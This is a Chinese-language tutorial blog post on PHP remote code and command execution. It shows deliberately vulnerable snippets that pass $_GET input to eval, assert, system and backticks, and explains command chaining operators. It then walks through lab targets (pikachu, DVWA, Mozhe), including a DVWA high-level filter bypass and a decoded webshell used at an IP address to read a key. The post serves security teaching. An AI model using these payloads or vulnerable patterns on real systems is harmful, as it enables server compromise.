RCE 远程命令代码执行漏洞

什么是REC

Remote Command/Code Execute,远程命令或者代码执行。通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入。

Web应用程序使用了一些可以执行系统命令,或者代码的函数,由于对用户提交的数据过滤不严格,导致黑客可以利用服务器执行命令或者代码

漏洞形成条件:可控变量,漏洞函数

可控变量:可以控制的变量,就是通过url的传参,通过上面的参数值,来改变变量值。

漏洞函数:使用哪个函数,对这个变量进行操作,这个函数的作用,就变成了这个漏洞的作用,

如果你这个函数的作用是文件上传,那么就会造成文件上传的漏洞,如果函数的作用是执行代码,那么就会造成执行代码的漏洞,以此类推。

以上结论:漏洞是什么类型的由使用的函数来决定,漏洞是否存在由传递的变量来决定,如果没有可控的变量,那么就意味没有漏洞

1.远程代码执行漏洞

PHP相关敏感函数

(1) eval()函数

作用:如果参数是PHP代码(字符串类型),会作为PHP的代码来执行,并且以分号结尾

1.将php的代码作为eval的参数


eval('echo 2+2');

2.eval的参数来自于用户输入

eval($_GET['code']);

url

http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();

RCE 远程命令代码执行漏洞_第1张图片

 phpinfo()函数:

功能:可以输出我们php服务器相关的信息

总结:如果给的eval函数所传递的字符串是由用户传递进来的,是一个可执行的PHP语句,则该函数对语句内容执行,如果所执行的语句具有一定的危害性,则形成漏洞,无法保证数据安全

2.assert();函数

作用:函数的本意并不是用于执行代码的,是程序员用来调式代码用的,但是如果第一个参数是字符串,他会被assert()当作PHP代码执行 。

assert()参数来自用户输入

assert($_GET['code']);

url

http://127.0.0.1/websec/day03/rec1.php?x=phpinfo();

RCE 远程命令代码执行漏洞_第2张图片

 3.preg_replace()函数

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject)

作用:搜索$subject中匹配$pattion的部分,以$replacement,进行替换。如果所替换的内容为可执行函数,则该函数会被执行

e修政府使preg_replace(),将replacement参数当作PHP代码执行。提示:要确保 replacement构成一个合法的PHP代码字符串,否者PHP会在报告包含preg_replace()的行中出现语法解析错误

演示函数,没有使用e前

echo perg_replace('/gum/','yyds','gum');

作用:在第三个参数和第一个参数进行匹配,如果找到了,把第一个参数替换成第二个参数 

RCE 远程命令代码执行漏洞_第3张图片

 替换成功

使用e修正后,接受来自用户输入参数

echo preg_replace('/gum/e',$_GET['code'],'gum');

url:

http://127.0.0.1/websec/day03/rec1.php?code=phpinfo();

RCE 远程命令代码执行漏洞_第4张图片

 4.call_user_func()函数

call_user_func(callable $callback, mixed $parameter = ?, mixed $... = ?): mixed

第一个参数callable是被调用的回调函数,其余参数是回调函数的参数

call_user_func('phpinfo');

这里不是调用函数,直接写函数名行了

以上是远程代码执行的敏感相关函数。

2.远程命令执行漏洞

什么是命令执行?

比如说查看计算机的相关信息,比如文件读写的操作,文件的删除操作等,这些功能命令都可以实现的,也就意味着这个漏洞也是可以去做这样,可以实现的

操作系统:Windows Linux

以下是远程命令执行的相关函数

(如果出现乱码的问题,把编码格式改成GBK)

1.exec()函数

作用:执行命令,只会输出命令执行结果的最后一行

$cmd=$_GET['cmd'];
echo exec($cmd);

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir;

RCE 远程命令代码执行漏洞_第5张图片

 2.shell_exec()函数:

作用:执行命令,输出所有结果

$cmd=$_GET['cmd'];
echo shell_exec($cmd);

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir

RCE 远程命令代码执行漏洞_第6张图片

 3 ` 反撇号(键盘左上角)

作用:执行命令,输出所有结果

$cmd=$_GET['cmd'];
echo `$cmd`;

url:

http://127.0.0.1/websec/day03/rec2.php?cmd=dir

RCE 远程命令代码执行漏洞_第7张图片

 4.system():函数

作用:执行命令,执行外部程序并且输出结果(操作系统与环境)

注意:system函数不管是linux还是windows操作系统的都可以执行,他会自动区分命令。(如果你的服务器是windows的话输入linux的命令是不会返回结果的,以此类推)

windows

$win=&_GET['W'];
echo system($win);

url:

http://127.0.0.1/websec/day03/rec2.php?w=ipconfig

RCE 远程命令代码执行漏洞_第8张图片

 这边 Linux我就不演示,如果是服务器是Linux系统的话,改成linux命令就好了

3.命令连接符

1.&& 同生共死

cmd1&&cm2

cmd1执行成功,才会执行cmd2,如果cmd1执行不成功那么cmd2不会执行

cmd1执行成功

echo `whoami&&dir`;

RCE 远程命令代码执行漏洞_第9张图片

 cmd1执行失败

echo `pwd&&dir`;

RCE 远程命令代码执行漏洞_第10张图片

 ps:这里执行失败因为我的服务器是windows cmd1是linux的 命令

2. & 陌生人

cmd1&cmd2

不管cmd1是否执行成功,cmd2都会执行,不受到cm1的影响

echo `pwd&&dir`

RCE 远程命令代码执行漏洞_第11张图片

 3.|| 你死我活

cmd1||cmd2

如果cmd1执行成功了,cmd2不执行,如果cmd1执行失败了,cmd2执行(二者只能有1,缺心眼行为)

cmd1执行成功,cmd2不执行

echo `whoami||dir`;

RCE 远程命令代码执行漏洞_第12张图片

 cmd1执行失败,cmd2执行

echo `pwd||dir`;

RCE 远程命令代码执行漏洞_第13张图片

 4. |  管道符   

cmd1|cm2  (cmd1的输出会作为cmd2的输入)

没有cmd1的结果,只有cmd2的结果。

echo `ipconfig|dir`;
echo `pwd|dir`;
不显示结果。

这个没啥好说的,我就不演示了。知道管道符是干啥用的都可以理解

靶场实验 pikachu dvwa 墨者

1.pikachu

RCE 远程命令代码执行漏洞_第14张图片

1.eval()

首先我先抓一个包看一下他这个服务器是windows系统还是linux的系统

那么说明eval函数在这里字符串 类型可以作为php代码执行,直接实验phpinfo()函数,

获取他 php的配置信息

RCE 远程命令代码执行漏洞_第15张图片

呐,这不是就出来了

2.ping (命令执行漏洞)

RCE 远程命令代码执行漏洞_第16张图片

 2.DVWA

等级:low

 RCE 远程命令代码执行漏洞_第17张图片

 查看一下原代码

RCE 远程命令代码执行漏洞_第18张图片

可以看出没有对连接符进行过滤

等级:medium

RCE 远程命令代码执行漏洞_第19张图片

 查看原代码

RCE 远程命令代码执行漏洞_第20张图片

这里可以看到对&& 和; 过滤了,只要绕过这两个就好了

 等级:high

RCE 远程命令代码执行漏洞_第21张图片

 查看源代码:

RCE 远程命令代码执行漏洞_第22张图片

 在源代码可以看出,程序员对所有的命令拼接符都过滤了,那么我是怎么绕过的呢?

注意看| 的位置  ,他的单引号在多了一个空格,说明他程序员在进行过滤的时候不小心加了一个空格,并不是他的本意,正是因为他加了这个空格本来是对|这个连接符进行了过滤,但是他在|的后面多了一个空格,就变成了过滤|空格 ,那么只要在输入|的时候后面不要加空格就可以绕过了。大家可以去试试,如果加了空格是否 还能绕过。

3.墨者靶场

1.命令注入执行分析

RCE 远程命令代码执行漏洞_第23张图片

 1.这里可以看出这是一个ping的命令远程漏洞

2.判断服务器的操作系统,输入远程命令

先抓一个包

RCE 远程命令代码执行漏洞_第24张图片

 抓到服务器Ubuntu,可以得出结论是Linux系统。

3.使用BP,抓包修改数据

RCE 远程命令代码执行漏洞_第25张图片

 4.得到结果

RCE 远程命令代码执行漏洞_第26张图片

5.拿key

继续抓包修改数据

RCE 远程命令代码执行漏洞_第27张图片

6.拿到key

RCE 远程命令代码执行漏洞_第28张图片

 2.PHP代码分析溯源(第4题)

靶场页面 


-------------当前页面源码----key在根目录------------------

eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?> 

这里使用了base64,加密和压缩的编码

直接把eval修改成echo直接输出 

修改后


-------------当前页面源码----key在根目录------------------

echo (gzinflate(base64_decode("40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==")));
?> 

保存执行

执行后得到的结果

echo `$_REQUEST[a]`;; ?> 

猜测原语句

eval(echo `$_REQUEST[a]`;; ?> )

发现命令执行漏洞,键名=a,直接传入参数

url:

http://124.70.91.203:46127/f.php?a=ls

页面:

RCE 远程命令代码执行漏洞_第29张图片

 拿key

url:

http://124.70.91.203:46127/f.php?a=tac

RCE 远程命令代码执行漏洞_第30张图片

 这里的的tac是个坑,本来我输入的是cat但是使用cat无法查看,就使用了tac,tac这个命令就是从倒数第一行开始查看,最后我才拿到了key

这里大家可能会质疑eval()不是代码执行的漏洞吗?怎么变成命令执行了?

因为eval(echo `$_REQUEST[a]`;; ?> )这里的echo,因为这个服务器是linux的在linux中echo代表的是linux的命令 ,所以他这个漏洞就成为了命令执行的漏洞


RCE防御措施

1.对命令连接符使用黑名单

2。如果要求输入ip地址的话,对IP地址做严格的过滤(可以参考DWAV最后一关无效的防御方案)

你可能感兴趣的:(安全)